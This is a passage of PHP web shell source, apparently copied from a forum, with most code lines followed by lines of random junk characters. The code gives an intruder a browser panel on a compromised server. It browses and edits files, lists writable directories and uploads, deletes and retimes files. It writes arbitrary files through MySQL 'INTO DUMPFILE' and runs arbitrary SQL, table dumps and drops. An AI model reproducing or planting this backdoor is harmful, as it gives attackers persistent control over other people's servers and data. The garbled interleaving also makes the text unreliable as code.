     & G6 T8 w% K8 |# W7 D( K# o
460.         if (!filename) return;
     
461.         opfile('editfile',nowpath + filename,nowpath);
     
462. }
     
463. function opfile(action,opfile,dir){
     
464.         $('fileopform').action.value=action;
     8 |) y' f: z/ c
465.         $('fileopform').opfile.value=opfile;
     ; J/ }' w! K1 D1 j
466.         $('fileopform').dir.value=dir;
     + O' G; H+ T) J8 [# `
467.         $('fileopform').submit();
     6 V. g" a# R6 l# c# ~8 l; ]
468. }
     
469. function godir(dir,view_writable){
     0 u8 o) H$ b  p, J: D+ Z
470.         if (view_writable) {
     
471.                 $('godir').view_writable.value=1;
     
472.         }
     4 m. B, p2 J( R' }8 j+ |
473.         $('godir').dir.value=dir;
     
474.         $('godir').submit();
     7 U6 ]7 S$ J; l0 g. d
475. }
     
476. </script>
     
477.   <?php
     ! J) V! z; {& y$ D7 e
478.         tbhead();
     & D# b* C. u4 k, b" i
479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
     / R  Y# L. N' ]6 v* U+ }  y& a
480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
     
481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
     ! g/ E- ~& F8 L
482.         if ($view_writable) {
     
483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
     
484.         } else {
     ) t4 ~) p. Q* j; y: D! L
485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
     ) A# }: _3 x& D3 z
486.         }
     
487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
     ( h; Y. z% N+ r
488.         if (IS_WIN && IS_COM) {
     
489.                 $obj = new COM('scripting.filesystemobject');
     
490.                 if ($obj && is_object($obj)) {
     ; {9 a4 L' L2 G! O
491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
     
492.                         foreach($obj->Drives as $drive) {
     
493.                                 if ($drive->DriveType == 2) {
     ) W+ j" {6 o1 X
494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
     
495. Free:'.sizecount($drive->FreeSpace).'
     
496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
     1 X& s8 S1 n3 y& O
497.                                 } else {
     
498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
     
499.                                 }
     ! i* J9 [0 C8 m. V( {6 M; ]
500.                         }
     , K/ d; ?; P$ S! a, B
501.                 }
     & W# g* D' L! y' p9 T* P+ C2 S
502.         }
     9 Y; p) j  G. F# F
503. 
     
504.         p('</td></tr></form>');
     
505. 
     ! G4 c' S! E) s4 w! T" J) V% t! a4 B
506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
     
507. 
     # v: S. I6 n3 e' B( S5 ~
508.         //查看所有可写文件和目录
     % n9 F4 G* A; c# e; E+ s1 t. R
509.         $dirdata=array();
     . G4 H  j; V6 _5 X6 x( `
510.         $filedata=array();
     & ]/ p7 I4 [; W7 C$ x2 U. z" ~
511. 
     : l6 T) l$ G4 j7 B9 s6 I% Q
512.         if ($view_writable) {
     4 \3 r+ Z3 F. `* P" m" G7 @
513.                 $dirdata = GetList($nowpath);
     
514.         } else {
     7 m  _( l% R; c' q
515.                 // 目录列表
     
516.                 $dirs=@opendir($dir);
     
517.                 while ($file=@readdir($dirs)) {
     
518.                         $filepath=$nowpath.$file;
     
519.                         if(@is_dir($filepath)){
     3 D, J, ]6 [  h! z4 N. V. \5 u
520.                                 $dirdb['filename']=$file;
     
521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
     
522.                                 $dirdb['dirchmod']=getChmod($filepath);
     ( N1 [" a; A% b5 ?
523.                                 $dirdb['dirperm']=getPerms($filepath);
     - m0 U1 J7 Z7 e' s: A' O, [/ z
524.                                 $dirdb['fileowner']=getUser($filepath);
     
525.                                 $dirdb['dirlink']=$nowpath;
     % z+ H/ p* s3 T" x$ D6 `
526.                                 $dirdb['server_link']=$filepath;
     
527.                                 $dirdb['client_link']=ue($filepath);
     
528.                                 $dirdata[]=$dirdb;
     / c8 o) t, e1 A! g1 M/ Z
529.                         } else {               
     
530.                                 $filedb['filename']=$file;
     
531.                                 $filedb['size']=sizecount(@filesize($filepath));
     2 i' m8 w" ^2 w7 ?8 E/ e2 r% n6 [
532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
     . P, Z' t% j8 D1 ^; Y# C
533.                                 $filedb['filechmod']=getChmod($filepath);
     
534.                                 $filedb['fileperm']=getPerms($filepath);
     / A) b/ }+ Z- ?; r2 G- H( g7 l5 G
535.                                 $filedb['fileowner']=getUser($filepath);
     $ i+ D6 M# b7 z1 f. X4 r, j
536.                                 $filedb['dirlink']=$nowpath;
     % U) i3 x! n" b& N% e3 Y% |$ Q
537.                                 $filedb['server_link']=$filepath;
     " L0 s0 f' M7 h% C
538.                                 $filedb['client_link']=ue($filepath);
     
539.                                 $filedata[]=$filedb;
     8 b* u' q0 [- q- C( K
540.                         }
     . Q! E) C" ]+ }* |
541.                 }// while
     
542.                 unset($dirdb);
     : N( k$ i2 u4 j
543.                 unset($filedb);
     
544.                 @closedir($dirs);
     6 m$ i! l; _  w1 L5 Z6 [. p
545.         }
     % F! _$ ~' L& H7 R2 `$ f8 N/ Y  {
546.         @sort($dirdata);
     
547.         @sort($filedata);
     ( I9 Z$ I, D8 a
548.         $dir_i = '0';
     
549.         foreach($dirdata as $key => $dirdb){
     / `6 k5 m" M4 Z) e" r
550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
     
551.                         $thisbg = bg();
     
552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     9 v. V' ~, f% }  `" O5 ~
553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
     
554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
     
555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');
     * q8 J9 {5 f) E/ p, B, F  m1 w3 y" T
556.                         p('<td nowrap>--</td>');
     " v1 m* {' Z6 u$ \+ u9 ~: e
557.                         p('<td nowrap>');
     8 c7 z/ q* p- v2 D
558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
     
559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
     3 V! N# b6 i" K8 ]
560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
     7 Y3 `% D) F3 ~7 l( q
561.                         p('</tr>');
     6 }& x8 L8 j6 g( F2 t6 L' p
562.                         $dir_i++;
     
563.                 } else {
     / d4 d# a7 ]% d2 _& u
564.                         if($dirdb['filename']=='..') {
     
565.                                 p('<tr class='.bg().'>');
     
566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
     & c) k; Z' C1 O) }0 r
567.                                 p('</tr>');
     8 Q/ G) y% G( D; e$ g
568.                         }
     + n8 T3 ]0 K. G5 h/ ?, U
569.                 }
     & Y7 k1 W2 j! q5 p" H7 v  E& P
570.         }
     ' @. U3 Z; a/ M
571. 
       h- ^$ m) L8 x! N$ R4 j& Z0 P
572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
     
573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
     " m8 e/ d8 v& I1 Y& L0 F
574.         makehide('action','file');
     
575.         makehide('thefile');
     
576.         makehide('doing');
     8 [. f4 B1 B7 I2 X- W$ U7 w
577.         makehide('dir',$nowpath);
     
578.         $file_i = '0';
     
579.         foreach($filedata as $key => $filedb){
     
580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
     7 |1 p* D% ?$ @7 W
581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
     + }' R# z0 U. B* @4 h9 C5 c- o
582.                         $thisbg = bg();
     - Q9 P& z0 N" N% ?* `1 U# u* Q
583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     
584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
     , c5 [! _2 z. v: t  [$ x. _. `, w3 J: d
585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
     # }' ?5 F( }; t1 E2 }
586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');
     2 V4 F. }# h7 A3 C9 H' b6 `  P
587.                         p('<td nowrap>'.$filedb['size'].'</td>');
     
588.                         p('<td nowrap>');
     8 s0 F7 @: P! f2 m1 ]' b
589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
     
590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
     
591.                         p('<td nowrap>');
       @% j( K* Y+ m2 c% s9 q
592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
     0 G3 B' v, z1 ]
593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
     
594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
     
595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
     0 t' ?6 q' [' k
596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
     
597.                         p('</td></tr>');
     
598.                         $file_i++;
     2 h4 r" ^1 J# `: G! n5 s9 |) e
599.                 }
     
600.         }
     
601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
     
602.         p('</form></table>');
     " f2 c) U' x( {
603. }// end dir
     
604. 
     9 B! T+ j; j- g, o" s5 Y
605. elseif ($action == 'sqlfile') {
     
606.         if($doing=="mysqlupload"){
     " {  U3 n( h* A" e% B
607.                 $file = $_FILES['uploadfile'];
     
608.                 $filename = $file['tmp_name'];
     
609.                 if (file_exists($savepath)) {
       v5 R- f/ ^# F5 K2 h6 j' Q0 }8 h: k8 P
610.                         m('The goal file has already existed');
     
611.                 } else {
     
612.                         if(!$filename) {
     
613.                                 m('Please choose a file');
     ' y- m3 X# s$ X( i# T( z$ L
614.                         } else {
     
615.                                 $fp=@fopen($filename,'r');
     4 r, u: \  y' X. L
616.                                 $contents=@fread($fp, filesize($filename));
     
617.                                 @fclose($fp);
     ' ^  Q2 j) w- f, y: n' D
618.                                 $contents = bin2hex($contents);
     
619.                                 if(!$upname) $upname = $file['name'];
     
620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
     
622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
     
623.                         }
     
624.                 }
     ' O  H' D2 m0 x: q
625.         }
     & g# P' z# ]6 o& |  j3 Y* c$ C
626. ?>
     8 ^0 L" L. P" e
627. <script type="text/javascript">
     2 L5 B! V: ?( M- T
628. function mysqlfile(doing){
     
629.         if(!doing) return;
     
630.         $('doing').value=doing;
     8 [1 l3 M% L9 P
631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
     0 v8 S9 o% I" k) r: E' U
632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
     
633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
     ) ~, V1 C/ \8 W- k# t
634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
     
635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
     $ O! V8 q5 ]* t4 J
636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;
     
637.         $('mysqlfile').submit();
     
638. }
     - A& H, G) i& @% h: N& q/ J
639. </script>
     : V9 X2 M+ r& @) z1 m7 {5 q% C
640. <?php
     # m1 K5 X, R0 {* V8 w$ D
641.         !$dbhost && $dbhost = 'localhost';
     * Y6 h2 B5 k( @
642.         !$dbuser && $dbuser = 'root';
     
643.         !$dbport && $dbport = '3306';
     
644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
     
645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
     , E$ f( r0 ?! G3 z! F
646.         makehide('action','sqlfile');
     8 w8 Z! z5 g% ?8 e  y2 m% A
647.         p('<p>');
     
648.         p('DBHost:');
     . T+ P; ]) I8 Q$ a: `" K- b$ j7 e
649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
     ' X  h8 A! _2 ^5 _, s
650.         p(':');
     
651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
     3 i+ R$ M) q, ~/ d2 V
652.         p('DBUser:');
     : |% W1 m% q1 z( J6 B2 e" v6 ~
653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
     
654.         p('DBPass:');
     
655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
     
656.         p('DBName:');
     7 w2 ^6 J& P8 z, j. O
657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
     
658.         p('DBCharset:');
     
659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
     / z% U4 m% o5 ]1 @* w
660.         p('</p>');
     
661.         formfoot();
     6 G: W2 ]7 |+ \, N
662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
     5 m4 M3 b( H, V* q: j
663.         p('<h2>Upload file</h2>');
     
664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');
     
665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
       U) H# B7 p7 j- f% w. l, L
666.         p('<h2>Download file</h2>');
     
667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
     
668.         makehide('dbhost');
     
669.         makehide('dbport');
     # \  ]& u8 s6 \; O, e" W. W
670.         makehide('dbuser');
     
671.         makehide('dbpass');
       H9 A) ?$ U9 P' g0 x: P8 t5 h  Z
672.         makehide('dbname');
     4 A- J1 A9 b7 O3 u3 Y* k  Q
673.         makehide('charset');
     2 U* t& {4 @. k* @4 \/ {" k
674.         makehide('doing');
     
675.         makehide('action','sqlfile');
     * t' j, R8 D# Q; {3 ?% Y
676.         p('</form>');
     
677. }
     0 h+ o0 b; E' }  B
678. 
     & B" N/ ?- q7 f
679. elseif ($action == 'sqladmin') {
       u6 {5 x+ z* X
680.         !$dbhost && $dbhost = 'localhost';
     9 Z8 L( C: K* j# ~" x
681.         !$dbuser && $dbuser = 'root';
     
682.         !$dbport && $dbport = '3306';
     
683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
     
684.         if(isset($dbhost)){
     / b8 @; V  \+ D- _4 z  U
685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";
     + g. ?( M; s9 Y& m
686.         }
     
687.         if(isset($dbuser)) {
     
688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
     
689.         }
     ( {# \3 n7 j" Z7 b
690.         if(isset($dbpass)) {
     : t! H1 M/ H$ J! E' m% \
691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
     
692.         }
     ( h$ J. H- j/ [6 T
693.         if(isset($dbport)) {
     ) v( t2 u5 R! q, K) a& @" b
694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
     & t' j  o1 P0 [3 K9 D. h5 J
695.         }
     
696.         if(isset($dbname)) {
     
697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";
     
698.         }
     5 L- w3 [) C4 |" \% P, S
699.         if(isset($charset)) {
     . S& H* R3 S8 |) ?9 b; x
700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
     $ O( y& [0 l5 \
701.         }
     + P% U' `0 H2 N+ W& F: u
702. 
     2 j2 G/ [0 u9 V+ \
703.         if ($doing == 'backupmysql' && $saveasfile) {
     
704.                 if (!$table) {
     
705.                         m('Please choose the table');
     
706.                 } else {
     9 S7 C( s- |: X: }( y, K* [
707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     8 G- U% q/ ^3 h, ?8 f1 R5 \/ R
708.                         $table = array_flip($table);
     - N  I5 y7 F! |
709.                         $fp = @fopen($path,'w');
     3 p: R3 M. Y0 u) j
710.                         if ($fp) {
     
711.                                 $result = q('SHOW tables');
     , I' K* L9 ^" Z( q8 z
712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');
     
713.                                 $mysqldata = '';
     * F* i: z* @" q8 w
714.                                 while ($currow = mysql_fetch_array($result)) {
     
715.                                         if (isset($table[$currow[0]])) {
     
716.                                                 sqldumptable($currow[0], $fp);
     
717.                                         }
     6 H# y5 j5 v9 y, d" `
718.                                 }
     % F4 `8 p1 x# }4 \' Z0 V
719.                                 fclose($fp);
     # Y: m6 m" E6 A4 {8 g6 c* Z% F
720.                                 $fileurl = str_replace(SA_ROOT,'',$path);
     * t9 M! y) u& Z- E
721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
     
722.                                 mysql_close();
     - g4 i- O; ~( n/ A# {5 \) [
723.                         } else {
     
724.                                 m('Backup failed');
     4 v4 c8 M- W5 H% W# r
725.                         }
     
726.                 }
     
727.         }
     
728.         if ($insert && $insertsql) {
     
729.                 $keystr = $valstr = $tmp = '';
     
730.                 foreach($insertsql as $key => $val) {
     4 G1 i0 o# k( W) V) t
731.                         if ($val) {
     / ~, ?- h/ s: E& U
732.                                 $keystr .= $tmp.$key;
     " L6 j9 T4 U' x- I! C2 Z
733.                                 $valstr .= $tmp."'".addslashes($val)."'";
     
734.                                 $tmp = ',';
     
735.                         }
     
736.                 }
     4 K& N+ O* q: V7 j* [' g% y
737.                 if ($keystr && $valstr) {
     ! ^4 K  w3 e# z* \
738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
     3 y3 s% z, T9 ]# r% F0 V# ^
740.                 }
     
741.         }
     . S& H/ m2 ~) u: l
742.         if ($update && $insertsql && $base64) {
     ! j; {" n! \. t* g
743.                 $valstr = $tmp = '';
     ) H0 Z) H9 r- V; p/ ~
744.                 foreach($insertsql as $key => $val) {
     
745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";
     8 D! [* y+ I1 x' ]; y
746.                         $tmp = ',';
     
747.                 }
     + m; J: W8 p6 |2 S1 ?" z. b, j
748.                 if ($valstr) {
     
749.                         $where = base64_decode($base64);
     $ l5 K8 \% `! N% }$ g3 J
750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     ) h2 k3 Y) d- T+ s' c. W6 M
751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
     " L; X% W1 K# {2 ^
752.                 }
     . h8 _  p0 S) w' n
753.         }
     
754.         if ($doing == 'del' && $base64) {
     
755.                 $where = base64_decode($base64);
     
756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";
     
757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     8 Z4 r- r! ^. s4 m
758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
     4 V1 Q6 Q6 a. Q
759.         }
     
760. 
     
761.         if ($tablename && $doing == 'drop') {
     
762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     6 \& h0 X" W  p0 ]2 r
763.                 if (q("DROP TABLE $tablename")) {
     
764.                         m('Drop table of success');
     4 [) O: i% n4 ~) V1 P$ P! l2 F
765.                         $tablename = '';
     ( e( z) o% l- s3 ?2 P) M5 E; j& b
766.                 } else {
     
767.                         m(mysql_error());
     
768.                 }
     
769.         }
     ' A- N$ M9 ]* ^2 _! a
770. 
     
771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
     5 y1 F0 c( w# E! y$ w
772. 
     
773.         formhead(array('title'=>'MYSQL Manager'));
     
774.         makehide('action','sqladmin');
     " D/ O0 M) z5 X: Q0 ^+ N- h
775.         p('<p>');
     9 i/ P& e1 g- I
776.         p('DBHost:');
     
777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
     
778.         p(':');
     0 y2 `- B5 }5 |5 W6 \
779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
     
780.         p('DBUser:');
     
781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
     
782.         p('DBPass:');
     
783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
     1 a$ {" r# v( `9 N/ ~; X2 j
784.         p('DBCharset:');
     
785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
     
786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
     
787.         p('</p>');
     ) t/ p- _9 J, Z, D, B
788.         formfoot();
     
789. ?>
     # e$ d: T; W7 p0 r; \- M2 w
790. <script type="text/javascript">
     $ _$ S: p2 H' s$ u9 p2 Y0 J( A+ G
791. function editrecord(action, base64, tablename){
     8 a9 Y% u1 E2 B' s6 E8 X
792.         if (action == 'del') {               
     ' v/ @7 Q8 J; a" p- m. c( m3 m
793.                 if (!confirm('Is or isn\'t deletion record?')) return;
     , a' C+ j# m9 _3 g; E: g& \
794.         }
       Y% n) H6 @  A: t
795.         $('recordlist').doing.value=action;
     
796.         $('recordlist').base64.value=base64;
     
797.         $('recordlist').tablename.value=tablename;
     5 p8 Y  a! f7 ]2 D0 ^
798.         $('recordlist').submit();
     6 C7 c) A& U& D. S* b
799. }
     
800. function moddbname(dbname) {
     
801.         if(!dbname) return;
     
802.         $('setdbname').dbname.value=dbname;
     
803.         $('setdbname').submit();
       ?4 u, x! S: }! m/ l4 D2 o
804. }
     
805. function settable(tablename,doing,page) {
     
806.         if(!tablename) return;
     
807.         if (doing) {
     - Y5 i& `1 y9 \
808.                 $('settable').doing.value=doing;
     7 u8 p9 i) F* |; U/ Q
809.         }
     1 V7 B- |! L/ C( w( r7 J! O- z
810.         if (page) {
     
811.                 $('settable').page.value=page;
     
812.         }
     
813.         $('settable').tablename.value=tablename;
     
814.         $('settable').submit();
     # s# d+ j  B, F! e  }0 o
815. }
     2 v( `  ]  }) D- N+ L- w; h
816. </script>
     1 G" M8 P$ I0 [* |; p  k* ^/ i
817. <?php
     
818.         //操作记录
     
819.         formhead(array('name'=>'recordlist'));
     
820.         makehide('doing');
     
821.         makehide('action','sqladmin');
     9 V7 N: v3 C0 _1 j
822.         makehide('base64');
     
823.         makehide('tablename');
     ) I' y+ l7 ?  h! @+ Z
824.         p($dbform);
     6 _4 i% f2 @. A6 l  o7 D
825.         formfoot();
     
826.         //选定数据库
     8 z; A9 Y# A+ r* R8 o( d
827.         formhead(array('name'=>'setdbname'));
     
828.         makehide('action','sqladmin');
     
829.         p($dbform);
     
830.         if (!$dbname) {
     - ^: r! z* r2 ^. D2 g6 ~, G
831.                 makehide('dbname');
     5 w1 N( d8 S  a& J; i
832.         }
     
833.         formfoot();
     7 |2 N) g8 j5 n* u, v0 D% S! t# @
834.         //选定表
     - P: Y2 i: a7 G7 x- n/ p1 c) ~, T
835.         formhead(array('name'=>'settable'));
     
836.         makehide('action','sqladmin');
     & v- {  L1 y# b9 R6 I4 i! R
837.         p($dbform);
     . P+ l4 M. W, W) e5 }, N) I0 S
838.         makehide('tablename');
     
839.         makehide('page',$page);
     ' S2 z& g. j( X0 c9 v, X+ g+ ~* h
840.         makehide('doing');
     
841.         formfoot();
     
842.         $cachetables = array();       
     " \' c- |% x7 O* E9 D7 x
843.         $pagenum = 30;
     
844.         $page = intval($page);
     ' S2 G7 o' F1 x3 u6 J
845.         if($page) {
       n+ P4 i; I0 ~1 _+ X8 c
846.                 $start_limit = ($page - 1) * $pagenum;
     0 V: Z% C! k$ I; d. |' f
847.         } else {
     
848.                 $start_limit = 0;
     
849.                 $page = 1;
     
850.         }
     
851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
     . h9 `) {. o' [- |- G6 |/ c1 n
852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     
853.                 //获取数据库信息
     ' q( q! R, b- b; L
854.                 $mysqlver = mysql_get_server_info();
     
855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
     
856.                 $highver = $mysqlver > '4.1' ? 1 : 0;
     0 \5 ]) ?, j7 }. m
857.                 //获取数据库
     
858.                 $query = q("SHOW DATABASES");
     9 r# s$ d9 U3 R9 `$ G- R5 w3 b& ^
859.                 $dbs = array();
     ' q/ v+ o/ X( J7 ]& k
860.                 $dbs[] = '-- Select a database --';
     
861.                 while($db = mysql_fetch_array($query)) {
     + q: l, J3 ?! w+ d8 L
862.                         $dbs[$db['Database']] = $db['Database'];
     : l! O& F, B. z
863.                 }
     
864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
     % |0 \- l$ G. U" L3 E8 M% m
865.                 $tabledb = array();
     5 M. W) h- a4 A. b
866.                 if ($dbname) {
     . U8 B! M: F7 o4 a% F( j3 p" s
867.                         p('<p>');
     
868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
     
869.                         if ($tablename) {
     / x! h9 {$ h- L  G; n9 Z
870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
     
871.                         }
     , V4 ?$ s" T9 Z1 x) X5 Y( u
872.                         p('</p>');
     
873.                         mysql_select_db($dbname);
     0 I! r! S1 B9 r. i2 V; @
874.                         $getnumsql = '';
     
875.                         $runquery = 0;
     
876.                         if ($sql_query) {
     
877.                                 $runquery = 1;
     9 M8 X: _2 _  O
878.                         }
     7 M- a' `; J  Q% \
879.                         $allowedit = 0;
     8 s; h, p7 s9 Y9 w. {; I  A7 H
880.                         if ($tablename && !$sql_query) {
     2 n/ N9 h' L5 y- f8 |
881.                                 $sql_query = "SELECT * FROM $tablename";
     
882.                                 $getnumsql = $sql_query;
     
883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
     
884.                                 $allowedit = 1;
     
885.                         }
     % @6 p. ?' z% k; \' Y9 E
886.                         p('<form action="'.$self.'" method="POST">');
     
887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
     1 k) O2 g5 I/ ?: E  \* u% V( U
888.                         makehide('tablename', $tablename);
     
889.                         makehide('action','sqladmin');
     
890.                         p($dbform);
     
891.                         p('</form>');
     ) c* B& E! Z" p! K
892.                         if ($tablename || ($runquery && $sql_query)) {
     
893.                                 if ($doing == 'structure') {
     & I! ?$ t$ k2 z
894.                                         $result = q("SHOW COLUMNS FROM $tablename");
     * N5 C5 U5 \) U5 f/ t
895.                                         $rowdb = array();
     
896.                                         while($row = mysql_fetch_array($result)) {
     ; D, W& w; H0 R" Z
